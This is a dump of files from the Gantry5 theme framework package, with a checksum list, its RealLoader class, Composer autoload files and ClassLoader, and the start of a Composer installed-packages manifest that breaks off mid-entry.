classes/Gantry/Admin/Controller/Json/Confirmdeletion.php 1984644991df87ea68a6eb3a53610799
classes/Gantry/Admin/EventListener.php 60932cd47c3a33bee8f9063723bb7413
classes/Gantry/Admin/Theme.php 23a7a26fe9d701408d5875f4a8cd35e6
classes/Gantry/Admin/Router.php 553eacb6119e39f1fa90b991f0a29f94
classes/Gantry/Admin/ThemeList.php b02080569b6a4d07033453a529089164
classes/Gantry/Admin/Particles.php 64b7efcd53ac7868019f8bd647b9f37d
classes/Gantry/Admin/Page.php db9422e99a986fc07a9818c86084420b
classes/Gantry/Admin/Styles.php 4c9eb72286fff333adaf574e237c8fa6
classes/Gantry/Joomla/Assignments/AssignmentsStyle.php 19feedfe5c26d71127d52ed98c15da17
classes/Gantry/Joomla/Assignments/AssignmentsMenu.php c8b6a6413152c00a40bad0a2bc1c91fe
classes/Gantry/Joomla/Module/ModuleCollection.php f0a236cc93108ef9c38830e29d05866a
classes/Gantry/Joomla/Module/Module.php 2a86553caf9bd623eb750f0dbb869a38
classes/Gantry/Joomla/Module/ModuleFinder.php db2696a4dd65c4d898e2e8174b68a8f1
classes/Gantry/Joomla/TemplateInstaller.php 4fdf13e5f9ae538c6dce08225d5ebd35
classes/Gantry/Joomla/Manifest.php 9ed02c686f5b25d8ff8b23489d85ccc3
classes/Gantry/Joomla/CacheHelper.php b4a21debd1511a21d7de69dae796f7ad
classes/Gantry/Joomla/StyleHelper.php 64b1903fe8009a6e7bbe92809606a1b2
classes/Gantry/Joomla/Content/Content.php 586c252630f20aa49b01fa1b42eb336c
classes/Gantry/Joomla/Content/ContentFinder.php 262abd669d66d11e6e6f3e628d3496c5
classes/Gantry/Joomla/Category/Category.php 2c6c6269e8442f1224ad42419947e04c
classes/Gantry/Joomla/Category/CategoryFinder.php 4e702a56617ef5a2ba071650b898bbfa
classes/Gantry/Joomla/Object/Finder.php 3f53910031f6eaa213bd54259bcfdb12
classes/Gantry/Joomla/Object/Collection.php a5a2e2fb3261e6fd09e41ac7dfc41f0d
classes/Gantry/Joomla/Object/AbstractObject.php f9b5559abd646d9ef92f3e879a072ae0
classes/Gantry/Framework/Menu.php 26d32b9845a59baba8d9dd4bff2bbdfd
classes/Gantry/Framework/Configurations.php bc5a609a891824495b78ed93ea3d30b9
classes/Gantry/Framework/Outlines.php ab3d762b8f1de0aedd27df00f3f9d0bf
classes/Gantry/Framework/Request.php 58555c06be380d52a22c04a652620989
classes/Gantry/Framework/Services/ErrorServiceProvider.php ad9dd475588a8d32822570c1f682041e
classes/Gantry/Framework/Services/StreamsServiceProvider.php a0013c46b7c760d1a53fcde9d9e41eb2
classes/Gantry/Framework/Services/ConfigServiceProvider.php ced0eafc2dc229ab9078adb63865687b
classes/Gantry/Framework/Theme.php 074a997f91d0a41342c766dfbe54023d
classes/Gantry/Framework/Positions.php 6bd2bc88fdd51522a5f48b9d06304dce
classes/Gantry/Framework/Document.php 77ca5040d4fdd556ef17525c642bab5e
classes/Gantry/Framework/Base/Theme.php 681c315a8a1dec1c90da4c18d9632614
classes/Gantry/Framework/Base/Platform.php d3f67e87fad9cc407d4b49297b58bd44
classes/Gantry/Framework/Base/Site.php bade0b530f22572eb4c0953a4f3031ef
classes/Gantry/Framework/Base/Page.php 20ea33956562c2f3929739d27e5aeabc
classes/Gantry/Framework/Base/Gantry.php 1bfb22e53b538f8ca6189086ee576e90
classes/Gantry/Framework/Platform.php f5ae836b203ad2babac883949e93d1e7
classes/Gantry/Framework/Exporter.php 8d8da2f85f8fe62d8254fa1a6a516948
classes/Gantry/Framework/Site.php 1d999ad888699917f6c773ebe0c06c0e
classes/Gantry/Framework/Translator.php a9bb62ca922c00c4d637a5e1fd95d71f
classes/Gantry/Framework/Atoms.php 57e2135cfd13a26334af5abb393670f9
classes/Gantry/Framework/ThemeInstaller.php 938f85addf555eb074c2cfcc2774c5c1
classes/Gantry/Framework/Markdown/Parsedown.php c195585f11377e5921a4237eb9bd0721
classes/Gantry/Framework/Markdown/ParsedownTrait.php 7c85834c410aad3cba1e1ddfe2f26add
classes/Gantry/Framework/Markdown/ParsedownExtra.php d006c235d6331bda4fd1845d79931ba3
classes/Gantry/Framework/Page.php 99fc2ef5d72ddec60e1524440fcd9863
classes/Gantry/Framework/Gantry.php e5c5e28f1f487d1088d6a76a804beb15
classes/Gantry/Framework/Exception.php c2b27188880895d6042fa484b4cd0648
classes/Gantry/Framework/Assignments.php 5c4719bb7762d882b057da8ec988a2ca
classes/Leafo/ScssPhp/Compiler.php 5c9a8af28b29fb611844db990f9a898d
MD5SUMS d41d8cd98f00b204e9800998ecf8427e
bootstrap.php c0596c070aa6a3c63292a82f6a2feb32
composer.lock 29d0e791a303437d335b61abc8b7330f
RealLoader.php a32341d18c4fff022fcd14e9d3b42be4
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license Dual License: MIT or GNU/GPLv2 and later
*
* http://opensource.org/licenses/MIT
* http://www.gnu.org/licenses/gpl-2.0.html
*
* Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
*/
namespace Gantry5;
/**
* Use \Gantry5\Loader::setup() or \Gantry5\Loader::get() instead.
*
* This class separates Loader logic from the \Gantry5\Loader class. By
adding this extra class we are able to upgrade
* Gantry5 and initializing the new version during a single request -- as
long as Gantry5 has not been initialized.
*
* @internal
*/
abstract class RealLoader
{
protected static $errorMessagePhpMin = 'You are running PHP %s,
but Gantry 5 Framework needs at least PHP %s to run.';
protected static $errorMessageGantryLoaded = 'Attempting to load
Gantry 5 Framework multiple times.';
/**
* Initializes Gantry5 and returns Composer ClassLoader.
*
* @return \Composer\Autoload\ClassLoader
* @throws \RuntimeException
* @throws \LogicException
*/
public static function getClassLoader()
{
// Fail safe version check for PHP <5.5.9.
if (version_compare($phpVersion = PHP_VERSION, '5.5.9',
'<')) {
throw new \RuntimeException(sprintf(self::$errorMessagePhpMin,
$phpVersion, '5.5.9'));
}
if (defined('GANTRY5_VERSION')) {
throw new \LogicException(self::$errorMessageGantryLoaded);
}
define('GANTRY5_VERSION', '5.4.37');
define('GANTRY5_VERSION_DATE', 'January 25,
2021');
if (!defined('DS')) {
define('DS', DIRECTORY_SEPARATOR);
}
define('GANTRY_DEBUGGER',
class_exists('Gantry\\Debugger'));
return self::autoload();
}
/**
* @return \Composer\Autoload\ClassLoader
* @throws \LogicException
* @internal
*/
protected static function autoload()
{
// Register platform specific overrides.
if (defined('JVERSION') &&
defined('JPATH_ROOT')) {
define('GANTRY5_PLATFORM', 'joomla');
define('GANTRY5_ROOT', JPATH_ROOT);
} elseif (defined('WP_DEBUG') &&
defined('ABSPATH')) {
define('GANTRY5_PLATFORM', 'wordpress');
if (class_exists('Env') &&
defined('CONTENT_DIR')) {
// Bedrock support.
define('GANTRY5_ROOT', preg_replace('|'
. preg_quote(CONTENT_DIR). '$|', '', WP_CONTENT_DIR));
} else {
// Plain WP support.
define('GANTRY5_ROOT', dirname(WP_CONTENT_DIR));
}
} elseif (defined('GRAV_VERSION') &&
defined('ROOT_DIR')) {
define('GANTRY5_PLATFORM', 'grav');
define('GANTRY5_ROOT', rtrim(ROOT_DIR,
'/'));
} elseif (defined('PRIME_ROOT')) {
define('GANTRY5_PLATFORM', 'prime');
define('GANTRY5_ROOT', PRIME_ROOT);
} else {
throw new \RuntimeException('Gantry: CMS not
detected!');
}
$base = __DIR__;
$vendor = "{$base}/platforms/" . GANTRY5_PLATFORM;
$dev = is_dir($vendor);
if (!$dev) {
$vendor = $base;
}
$autoload = "{$vendor}/vendor/autoload.php";
// Initialize auto-loading.
if (!file_exists($autoload)) {
throw new \LogicException('Please run composer in Gantry 5
Library!');
}
/** @var \Composer\Autoload\ClassLoader $loader */
$loader = require_once $autoload;
if ($dev) {
$loader->addPsr4('Gantry\\',
"{$base}/classes/Gantry");
}
return $loader;
}
}
<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInit7bfda60b2ff69dc96fe4a1f15c2e6d42::getLoader();
<?php
// autoload_classmap.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Composer\\InstalledVersions' => $vendorDir .
'/composer/InstalledVersions.php',
);
<?php
// autoload_files.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir .
'/symfony/polyfill-ctype/bootstrap.php',
);
<?php
// autoload_namespaces.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Twig_' => array($vendorDir . '/twig/twig/lib'),
'Pimple' => array($vendorDir .
'/pimple/pimple/src'),
'ParsedownExtra' => array($vendorDir .
'/erusev/parsedown-extra'),
'Parsedown' => array($vendorDir .
'/erusev/parsedown'),
);
<?php
// autoload_psr4.php @generated by Composer
$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);
return array(
'Whoops\\' => array($vendorDir .
'/filp/whoops/src/Whoops'),
'Twig\\' => array($vendorDir .
'/twig/twig/src'),
'Symfony\\Polyfill\\Ctype\\' => array($vendorDir .
'/symfony/polyfill-ctype'),
'Symfony\\Component\\Yaml\\' => array($vendorDir .
'/symfony/yaml'),
'Symfony\\Component\\EventDispatcher\\' =>
array($vendorDir . '/symfony/event-dispatcher'),
'RocketTheme\\Toolbox\\StreamWrapper\\' =>
array($vendorDir . '/rockettheme/toolbox/StreamWrapper/src'),
'RocketTheme\\Toolbox\\Session\\' => array($vendorDir .
'/rockettheme/toolbox/Session/src'),
'RocketTheme\\Toolbox\\ResourceLocator\\' =>
array($vendorDir . '/rockettheme/toolbox/ResourceLocator/src'),
'RocketTheme\\Toolbox\\File\\' => array($vendorDir .
'/rockettheme/toolbox/File/src'),
'RocketTheme\\Toolbox\\Event\\' => array($vendorDir .
'/rockettheme/toolbox/Event/src'),
'RocketTheme\\Toolbox\\DI\\' => array($vendorDir .
'/rockettheme/toolbox/DI/src'),
'RocketTheme\\Toolbox\\Compat\\' => array($vendorDir .
'/rockettheme/toolbox/Compat/src'),
'RocketTheme\\Toolbox\\Blueprints\\' => array($vendorDir .
'/rockettheme/toolbox/Blueprints/src'),
'RocketTheme\\Toolbox\\ArrayTraits\\' => array($vendorDir
. '/rockettheme/toolbox/ArrayTraits/src'),
'Psr\\Log\\' => array($vendorDir .
'/psr/log/Psr/Log'),
'Psr\\Container\\' => array($vendorDir .
'/psr/container/src'),
'Leafo\\ScssPhp\\' => array($baseDir .
'/classes/Leafo/ScssPhp', $vendorDir .
'/leafo/scssphp/src'),
'Gantry\\' => array($baseDir .
'/classes/Gantry'),
);
<?php
// autoload_real.php @generated by Composer
class ComposerAutoloaderInit7bfda60b2ff69dc96fe4a1f15c2e6d42
{
private static $loader;
public static function loadClassLoader($class)
{
if ('Composer\Autoload\ClassLoader' === $class) {
require __DIR__ . '/ClassLoader.php';
}
}
/**
* @return \Composer\Autoload\ClassLoader
*/
public static function getLoader()
{
if (null !== self::$loader) {
return self::$loader;
}
require __DIR__ . '/platform_check.php';
spl_autoload_register(array('ComposerAutoloaderInit7bfda60b2ff69dc96fe4a1f15c2e6d42',
'loadClassLoader'), true, true);
self::$loader = $loader = new \Composer\Autoload\ClassLoader();
spl_autoload_unregister(array('ComposerAutoloaderInit7bfda60b2ff69dc96fe4a1f15c2e6d42',
'loadClassLoader'));
$useStaticLoader = PHP_VERSION_ID >= 50600 &&
!defined('HHVM_VERSION') &&
(!function_exists('zend_loader_file_encoded') ||
!zend_loader_file_encoded());
if ($useStaticLoader) {
require __DIR__ . '/autoload_static.php';
call_user_func(\Composer\Autoload\ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::getInitializer($loader));
} else {
$map = require __DIR__ . '/autoload_namespaces.php';
foreach ($map as $namespace => $path) {
$loader->set($namespace, $path);
}
$map = require __DIR__ . '/autoload_psr4.php';
foreach ($map as $namespace => $path) {
$loader->setPsr4($namespace, $path);
}
$classMap = require __DIR__ .
'/autoload_classmap.php';
if ($classMap) {
$loader->addClassMap($classMap);
}
}
$loader->register(true);
if ($useStaticLoader) {
$includeFiles =
Composer\Autoload\ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::$files;
} else {
$includeFiles = require __DIR__ .
'/autoload_files.php';
}
foreach ($includeFiles as $fileIdentifier => $file) {
composerRequire7bfda60b2ff69dc96fe4a1f15c2e6d42($fileIdentifier, $file);
}
return $loader;
}
}
function composerRequire7bfda60b2ff69dc96fe4a1f15c2e6d42($fileIdentifier,
$file)
{
if
(empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
require $file;
$GLOBALS['__composer_autoload_files'][$fileIdentifier] =
true;
}
}
<?php
// autoload_static.php @generated by Composer
namespace Composer\Autoload;
class ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42
{
public static $files = array (
'320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ .
'/..' . '/symfony/polyfill-ctype/bootstrap.php',
);
public static $prefixLengthsPsr4 = array (
'W' =>
array (
'Whoops\\' => 7,
),
'T' =>
array (
'Twig\\' => 5,
),
'S' =>
array (
'Symfony\\Polyfill\\Ctype\\' => 23,
'Symfony\\Component\\Yaml\\' => 23,
'Symfony\\Component\\EventDispatcher\\' => 34,
),
'R' =>
array (
'RocketTheme\\Toolbox\\StreamWrapper\\' => 34,
'RocketTheme\\Toolbox\\Session\\' => 28,
'RocketTheme\\Toolbox\\ResourceLocator\\' => 36,
'RocketTheme\\Toolbox\\File\\' => 25,
'RocketTheme\\Toolbox\\Event\\' => 26,
'RocketTheme\\Toolbox\\DI\\' => 23,
'RocketTheme\\Toolbox\\Compat\\' => 27,
'RocketTheme\\Toolbox\\Blueprints\\' => 31,
'RocketTheme\\Toolbox\\ArrayTraits\\' => 32,
),
'P' =>
array (
'Psr\\Log\\' => 8,
'Psr\\Container\\' => 14,
),
'L' =>
array (
'Leafo\\ScssPhp\\' => 14,
),
'G' =>
array (
'Gantry\\' => 7,
),
);
public static $prefixDirsPsr4 = array (
'Whoops\\' =>
array (
0 => __DIR__ . '/..' .
'/filp/whoops/src/Whoops',
),
'Twig\\' =>
array (
0 => __DIR__ . '/..' . '/twig/twig/src',
),
'Symfony\\Polyfill\\Ctype\\' =>
array (
0 => __DIR__ . '/..' .
'/symfony/polyfill-ctype',
),
'Symfony\\Component\\Yaml\\' =>
array (
0 => __DIR__ . '/..' . '/symfony/yaml',
),
'Symfony\\Component\\EventDispatcher\\' =>
array (
0 => __DIR__ . '/..' .
'/symfony/event-dispatcher',
),
'RocketTheme\\Toolbox\\StreamWrapper\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/StreamWrapper/src',
),
'RocketTheme\\Toolbox\\Session\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/Session/src',
),
'RocketTheme\\Toolbox\\ResourceLocator\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/ResourceLocator/src',
),
'RocketTheme\\Toolbox\\File\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/File/src',
),
'RocketTheme\\Toolbox\\Event\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/Event/src',
),
'RocketTheme\\Toolbox\\DI\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/DI/src',
),
'RocketTheme\\Toolbox\\Compat\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/Compat/src',
),
'RocketTheme\\Toolbox\\Blueprints\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/Blueprints/src',
),
'RocketTheme\\Toolbox\\ArrayTraits\\' =>
array (
0 => __DIR__ . '/..' .
'/rockettheme/toolbox/ArrayTraits/src',
),
'Psr\\Log\\' =>
array (
0 => __DIR__ . '/..' .
'/psr/log/Psr/Log',
),
'Psr\\Container\\' =>
array (
0 => __DIR__ . '/..' .
'/psr/container/src',
),
'Leafo\\ScssPhp\\' =>
array (
0 => __DIR__ . '/../..' .
'/classes/Leafo/ScssPhp',
1 => __DIR__ . '/..' .
'/leafo/scssphp/src',
),
'Gantry\\' =>
array (
0 => __DIR__ . '/../..' .
'/classes/Gantry',
),
);
public static $prefixesPsr0 = array (
'T' =>
array (
'Twig_' =>
array (
0 => __DIR__ . '/..' .
'/twig/twig/lib',
),
),
'P' =>
array (
'Pimple' =>
array (
0 => __DIR__ . '/..' .
'/pimple/pimple/src',
),
'ParsedownExtra' =>
array (
0 => __DIR__ . '/..' .
'/erusev/parsedown-extra',
),
'Parsedown' =>
array (
0 => __DIR__ . '/..' .
'/erusev/parsedown',
),
),
);
public static $classMap = array (
'Composer\\InstalledVersions' => __DIR__ .
'/..' . '/composer/InstalledVersions.php',
);
public static function getInitializer(ClassLoader $loader)
{
return \Closure::bind(function () use ($loader) {
$loader->prefixLengthsPsr4 =
ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::$prefixLengthsPsr4;
$loader->prefixDirsPsr4 =
ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::$prefixDirsPsr4;
$loader->prefixesPsr0 =
ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::$prefixesPsr0;
$loader->classMap =
ComposerStaticInit7bfda60b2ff69dc96fe4a1f15c2e6d42::$classMap;
}, null, ClassLoader::class);
}
}
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component',
__DIR__.'/component');
* $loader->add('Symfony',
__DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for
instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see https://www.php-fig.org/psr/psr-0/
* @see https://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
// PSR-4
private $prefixLengthsPsr4 = array();
private $prefixDirsPsr4 = array();
private $fallbackDirsPsr4 = array();
// PSR-0
private $prefixesPsr0 = array();
private $fallbackDirsPsr0 = array();
private $useIncludePath = false;
private $classMap = array();
private $classMapAuthoritative = false;
private $missingClasses = array();
private $apcuPrefix;
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge',
array_values($this->prefixesPsr0));
}
return array();
}
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array $classMap Class to filename map
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap,
$classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*/
public function add($prefix, $paths, $prepend = false)
{
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
(array) $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
(array) $paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
(array) $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this
namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
(array) $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
(array) $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
(array) $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 base directories
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing
'\\'
* @param array|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4
prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to
check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the
extension is enabled.
*
* @param string|null $apcuPrefix
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch')
&& filter_var(ini_get('apc.enabled'),
FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true,
$prepend);
}
/**
* Unregisters this instance as an autoloader.
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return bool|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
includeFile($file);
return true;
}
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative ||
isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class,
'.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\',
DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\'))
{
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath . '\\';
if (isset($this->prefixDirsPsr4[$search])) {
$pathEnd = DIRECTORY_SEPARATOR .
substr($logicalPathPsr4, $lastPos + 1);
foreach ($this->prefixDirsPsr4[$search] as $dir) {
if (file_exists($file = $dir . $pathEnd)) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_',
DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_',
DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs)
{
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR
. $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR .
$logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
if ($this->useIncludePath && $file =
stream_resolve_include_path($logicalPathPsr0)) {
return $file;
}
return false;
}
}
/**
* Scope isolated include.
*
* Prevents access to $this/self from included files.
*/
function includeFile($file)
{
include $file;
}
{
"packages": [
{
"name": "erusev/parsedown",
"version": "1.7.4",
"version_normalized": "1.7.4.0",
"source": {
"type": "git",
"url":
"https://github.com/erusev/parsedown.git",
"reference":
"cb17b6477dfff935958ba01325f2e8a2bfa6dab3"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/erusev/parsedown/zipball/cb17b6477dfff935958ba01325f2e8a2bfa6dab3",
"reference":
"cb17b6477dfff935958ba01325f2e8a2bfa6dab3",
"shasum": ""
},
"require": {
"ext-mbstring": "*",
"php": ">=5.3.0"
},
"require-dev": {
"phpunit/phpunit": "^4.8.35"
},
"time": "2019-12-30T22:54:17+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-0": {
"Parsedown": ""
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"description": "Parser for Markdown.",
"homepage": "http://parsedown.org",
"keywords": [
"markdown",
"parser"
],
"support": {
"issues":
"https://github.com/erusev/parsedown/issues",
"source":
"https://github.com/erusev/parsedown/tree/1.7.x"
},
"install-path": "../erusev/parsedown"
},
{
"name": "erusev/parsedown-extra",
"version": "0.7.1",
"version_normalized": "0.7.1.0",
"source": {
"type": "git",
"url":
"https://github.com/erusev/parsedown-extra.git",
"reference":
"0db5cce7354e4b76f155d092ab5eb3981c21258c"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/erusev/parsedown-extra/zipball/0db5cce7354e4b76f155d092ab5eb3981c21258c",
"reference":
"0db5cce7354e4b76f155d092ab5eb3981c21258c",
"shasum": ""
},
"require": {
"erusev/parsedown": "~1.4"
},
"time": "2015-11-01T10:19:22+00:00",
"type": "library",
"installation-source": "dist",
"autoload": {
"psr-0": {
"ParsedownExtra": ""
}
},
"notification-url":
"https://packagist.org/downloads/",
"license": [
"MIT"
],
"authors": [
{
"name": "Emanuil Rusev",
"email": "hello@erusev.com",
"homepage": "http://erusev.com"
}
],
"description": "An extension of Parsedown that
adds support for Markdown Extra.",
"homepage":
"https://github.com/erusev/parsedown-extra",
"keywords": [
"markdown",
"markdown extra",
"parsedown",
"parser"
],
"support": {
"issues":
"https://github.com/erusev/parsedown-extra/issues",
"source":
"https://github.com/erusev/parsedown-extra/tree/master"
},
"install-path": "../erusev/parsedown-extra"
},
{
"name": "filp/whoops",
"version": "2.5.1",
"version_normalized": "2.5.1.0",
"source": {
"type": "git",
"url":
"https://github.com/filp/whoops.git",
"reference":
"ee9699e79d8fcdd15c107e035d7b965e4fa854ac"
},
"dist": {
"type": "zip",
"url":
"https://api.github.com/repos/filp/whoops/zipball/ee9699e79d8fcdd15c107e035d7b965e4fa854ac",
"reference":
"ee9699e79d8fcdd15c107e035d7b965e4fa854ac",
"shasum": ""
},
"require": {
"php": "^5.5.9 || ^7.0",
